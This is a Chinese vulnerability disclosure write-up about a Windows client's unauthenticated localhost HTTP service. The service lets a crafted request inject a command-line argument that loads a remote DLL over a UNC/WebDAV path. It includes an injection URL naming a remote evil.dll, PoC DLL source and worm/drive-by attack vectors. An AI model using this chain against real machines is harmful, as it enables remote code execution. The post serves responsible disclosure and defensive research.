作者：0xcc
公众号：非尝咸鱼贩

这个公众号一直都在写 iOS 和 mac 相关的，这一篇来换一换口味。这个问题是某个第三方软件的远程代码执行漏洞，结合了本地 TCP 端口的分析、Windows 的 URL Scheme 机制的知识，已经报给相关厂商进行修复。

一些 PC 端软件通常会在本地监听固定的端口，通过 http 服务的方式向任意浏览器提供后门调用。虽然方便了网页前端开发，却添加了新的攻击面，甚至产生 Web 层面的安全漏洞。

首先使用 sysinternals 工具包里的 TCPView 可以观察到一个第三方的系统服务在 0.0.0.0 上监听了一个 TCP 端口。当然用系统自带的 netstat 命令也可以。

用 IDA Pro 静态分析后发现这是一个 http 服务：

C:\Users\haha>curl http://localhost:12345/getinfo -v
> GET /getinfo HTTP/1.1
> Host: localhost:11066
> User-Agent: curl/7.55.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Content-Type: text/html
< Server: SOME LocalWeb Server
< Content-Length: 64
< Accept-Ranges: bytes
< Access-Control-Allow-origin: *
< Connection: close
<


someclientinfo({"ver" : "10.12.2789.0" , "_ver" : 50180920})

这个服务不但没有做任何鉴权，还设置了任意网站可访问的 CORS 头（Access-Control-Allow-origin: *），而且是一个 JSONP 的接口。

除了获得版本之外，还有两个接口用来在浏览器中拉起本地 PC 客户端：

• http://localhost:12345/startclient?cmd=someapp://

• http://localhost:12345/pullclientjpg?cmd=someapp://

两个接口看上去非常像。

它们都要求 cmd 参数是以 someapp:// 开始的字符串，如果满足条件，就会传递给 ShellExecuteW 打开 URL Scheme。

区别在于，第一个接口（startclient）存在一个 bug。这个 http 服务是厂商在 C++ 上自行实现的，没有用到功能更完备的库，因此在处理一些参数的时候不能完全遵守 http 协议的行为。

startclient 接口使用 GET 获取参数，却没有考虑 URL encode 解码的问题。而 cmd 参数当中出现需要 URL 编码的字符串的概率很大。估计是开发者也意识到了这个问题，保留这个接口用来兼容，但又实现了一个新的接口 pullclientjpg。

第二个接口行为基本一致，多了一层对 cmd 参数的解码，解决了之前的 bug。这个接口将返回一个 1x1 像素的图像。

通过网页拉起特定客户端可以使用 URL scheme 的方式，无论是桌面平台还是手机，主流系统都提供了这种又被称为 Universal Link 的机制。

因为涉及到应用切换，为了安全和用户体验考虑（不能被滥用弹窗），浏览器一般会警告用户，要求确认操作。

上文提到的虫洞显然是为了规避这个对话框而设计。但由于 Windows 处理 Universal Link 存在历史遗留的坑，导致了一个严重的远程代码执行问题。

Windows 平台上的 URL Scheme 注册方式和文件扩展名一样都在注册表。也可以用 ftype 命令查看关联信息：

ftype telnet

由于历史遗留的设计，而 Win32 程序传递 URL（这里需要和 UWP 区分，后者机制不同）是通过命令行参数传递的。

在默认关联应用打开 URL 使用 ShellExecute* 系列函数，而这个函数也可以直接用来运行任意命令。再与 macOS 比较，现在 mac 上 URL 是 URL，命令行是命令行，泾渭分明。

这里给许多第三方应用程序开发者留下了一个坑。假如 URL 处理不当，很容易产生命令行参数注入问题。虽然 ShellExecute 并不像 system 那样支持 shell 命令注入，但结合具体应用程序的业务逻辑，仍然有可能造成远程代码执行。

在本文的例子当中，someapp:// 对应的程序关联如下：

C:\Program Files\SomeApp\someapp.exe "%1"

回到前文的 pullclientjpg 接口，这时候给 cmd 参数传入一个带引号的字符串将原始的参数闭合：

http://localhost:12345/pullclientjpg?cmd=%22%20-evilflag%3D%22AAA

将执行：

C:\Program Files\SomeApp\someapp.exe "someapp://" -evilflag="AAA"

cmd 参数里的引号和空格都被解码后传递给应用程序，除了被截断的 URL 之外，命令行多出来一个 -evilflag 参数。

那么这时候分析 WinMain 函数的调用，逐步走到检查命令行参数的逻辑。如下是其中一部分命令行参数：

-writecookie

-delcookie

-preloadplayermodule

-minidump

-loadmodule

这个 -loadmodule 参数粗暴简单，将对应的字符串传给 LoadLibraryExW 加载运行。因此通过给 someapp:// 闭合添加恶意参数，就可以拉起 PC 端应用并加载任意路径的 DLL。

到这里还需要用到 Windows 的一个特性就是 UNC Path。

Windows 系统可以通过 \servername\sharename 的方式访问远程服务器上共享的文件，由操作系统直接处理路径和网络通信，应用程序本身并不需要直接支持相关协议客户端的功能。LoadLibrary 函数便可以通过 UNC 来直接下载并运行远程的动态链接库。

远程共享的协议可以是 SMB 和 WebDAV。由于运营商出于安全考虑在公网上屏蔽了 SMB 相关端口，选择这个协议只在局域网内蠕虫传播有效果。但 WebDAV 可以走 80（或者 443）端口，因此既可以做到主动传播也可以挂马。

串联起来的效果就是，只要给这个服务发送一个构造好的 HTTP 请求，就会拉起客户端，下载运行任意代码。

http://localhost:12345/pullclientjpg?cmd=someapp://%22%20-loadmodule%20%22%5C%5Cexample.com%5Chaha%5Cevil.dll%22%20%22

DLL 的示例代码如下，弹出对话框假装只是 XSS 而已：

#include "stdafx.h"
#include <shellapi.h>

void poc()
{
  wchar_t wCmd[] = L"C:\\Windows\\System32\\calc.exe";
  MessageBoxA(NULL, "xss!", "alert", MB_ICONEXCLAMATION);

  STARTUPINFO si = { 0 };
  PROCESS_INFORMATION pi = { 0 };

  ZeroMemory(&si, sizeof(si));
  si.cb = sizeof(si);
  ZeroMemory(&pi, sizeof(pi));

  CreateProcessW(NULL, wCmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
  ExitProcess(0);
}

BOOL APIENTRY DllMain(HMODULE hModule,
  DWORD  ul_reason_for_call,
  LPVOID lpReserved
)
{
  switch (ul_reason_for_call)
  {
  case DLL_PROCESS_ATTACH:
    poc();
    break;

  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
    break;
  }
  return TRUE;
}

把这个 DLL 通过 smb 或者 WebDAV（推荐后者）发布即可。Windows 自带的 IIS 就可以配置 WebDAV 服务器，步骤繁琐，建议使用这个 Python 的实现：https://github.com/wolf71/TinyWebDav

前文提到这个 http 服务是监听在 0.0.0.0 上的。所以攻击向量可以是：

1. 1-click 的浏览器钓鱼。通过在网页挂马的形式感染受影响的客户端。一个 就可以实现
2. 0-click 蠕虫传播。在公网和局域网上直接批量扫描对应的端口并执行任意代码

在软件漏洞研究上，无论是攻击还是防御，攻击面都是一个很重要的因素。开发者设计这个功能的初衷可能是为了减少弹窗，提升用户体验，却不巧增加了攻击面。在引入一个功能的时候，不妨多想想带来的风险和功能的实用性是否划算？

这个漏洞可蠕虫可挂马，也利用到了 Windows 的一些特性，算是很典型的通过逆向挖 Web 洞的体验。

出于负责任披露考虑，文中出现的具体端口、字符串等做了模糊化处理。

本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/1558/